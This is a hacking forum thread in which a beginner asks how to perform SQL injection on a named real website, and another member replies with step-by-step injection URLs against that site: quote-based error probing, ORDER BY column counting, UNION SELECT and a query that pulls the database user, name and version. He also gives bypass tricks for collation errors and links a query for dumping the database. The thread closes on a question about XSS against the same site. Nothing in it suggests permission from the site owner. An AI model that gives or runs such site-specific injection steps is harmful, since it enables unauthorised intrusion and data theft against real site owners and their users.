[MyFartsGlow]

Actually in my opinion it totally depends on you which type of hacking/exploitation you wants to start with because hacking is so beyond 🙂

Like:-
1.Web app hacking
2.Network pentesting
etc. etc. 🙂

Thanks 🙂 && let me know which type of exploitation you wants to start with 👍

[/quote]

I'm into the whole thing about Pentesting and maybe learninG about how to create tools and gadgets for hacking..

[spirited_wolf™]

I'm into the whole thing about Pentesting and maybe learninG about how to create tools and gadgets for hacking..

But how can you make tool 😊 without knowing how the things really work in the backend.

Suppose you are making tool for XSS(Cross site scripting) 🙂 what if you don't know the different types of XSS(Cross site scripting) and how it works (you can just paste different payloads from the internet)
but it will be useless 😉 Hope you understand, their can be many examples

Do you need to ask any thing more?
Thanks 🤝

[Angel shanu]

can you please tell me how i can do sqli here::www . romanianwriters . ro

[spirited_wolf™]

can you please tell me how i can do sqli here::www . romanianwriters . ro

Sure let me help you👍
Target::

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99 


So, lets start our SQL injection

lets try to get an error
by using single quote:- " ' "

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99' {Error} 


Lets try to balance it using " -- - "

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99 -- -  {No-Error} 


Lets find the total no. of columns using order by clause

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+1-- - {No-Error}

http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+3-- - {No-Error}

http://www.romanianwriters.ro/book.php?id=99+ORDER+BY+4-- - {Error} 


Means their are 3 total no.. of columns now lets check which column is vulnerable using u nion s elect statement

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,3-- - 


So, column 2 and 3 are vulnerable



So lets try our final query :- You can't understand this portion now because may be you are new i will say check those links that i provided you in my previous comment/post.

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,C ONCAT (0x203a20,U SER ( ),D ATABASE ( ),V ERSION ( ) )-- - 


Done thanks 🤝

[align=center][b]Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

thanks 🤝

[Angel shanu]

[align=center][b]
Sure let me help you👍

Wow thanks sir, for your instant reply and can you please tell me how i can dump the database of this website.

[spirited_wolf™]

Wow thanks sir, for your instant reply and can you please tell me how i can dump the database of this website.

No, i was online thats why i done it 🙂 and you can dump it but as i can see you were not even able to inject it so i will recommend you to check this 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==


Don't call me sir 🙃 you can call me spirit 🙂

Thanks 🤝

[Angel shanu]

No, i was online thats why i done it 🙂 and you can dump it but as i can see you were not even able to inject it so i will recommend you to check this 👍

ok i'll check those threads but can you please tell me here how we can dump it . 🙂 i wants to know

[spirited_wolf™]

ok i'll check those threads but can you please tell me here how we can dump it . 🙂 i wants to know

Oks actually its easy probably you were not able to inject it due to illegal mix union

But we can bypass it using

PHP Code


<?php 
1.unhex(hex(String to use))
2.uncompress(compress(String to use))
etc. 


So, here is your query 👍

PHP Code


<?php 
https://ghostbin.com/paste/dv8r7 


If you need to ask any thing else then you can ask here 🎉

Thanks 🤝

[Angel shanu]

Oks actually its easy probably you were not able to inject it due to illegal mix union

yeah that was the error that i was not able to bypass . and can you please teach me different types of sqli

thanks sir i learned something new 🎉

[spirited_wolf™]

yeah that was the error that i was not able to bypass . and can you please teach me different types of sqli

thanks sir i learned something new 🎉

Actually i am having exams next month 😟 so, i can't teach you personally ofcourse but you can ask your question here or in our HF SQLI section

and follow this thread also
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

Thanks 🤝

[Angel shanu]

Actually i am having exams next month 😟 so, i can't teach you personally ofcourse but you can ask your question here or in our HF SQLI section

No problem sir i will ask here and in sqli section too

thanks for your precious time and help 👍

[spirited_wolf™]

No problem sir i will ask here and in sqli section too

thanks for your precious time and help 👍

I am always here to help everyone 🤝 Just post here your query we will try to short it out 👍

Best of luck 👍

Thanks 🤝

[Angel shanu]

I am always here to help everyone 🤝 Just post here your query we will try to short it out 👍

Best of luck 👍

Thanks 🤝

thanks sir

[spirited_wolf™]

thanks sir

Stop calling me sir please 😭 its spirit 😉

[Angel shanu]

sir i have 1 more question. can i xss the same website using sqli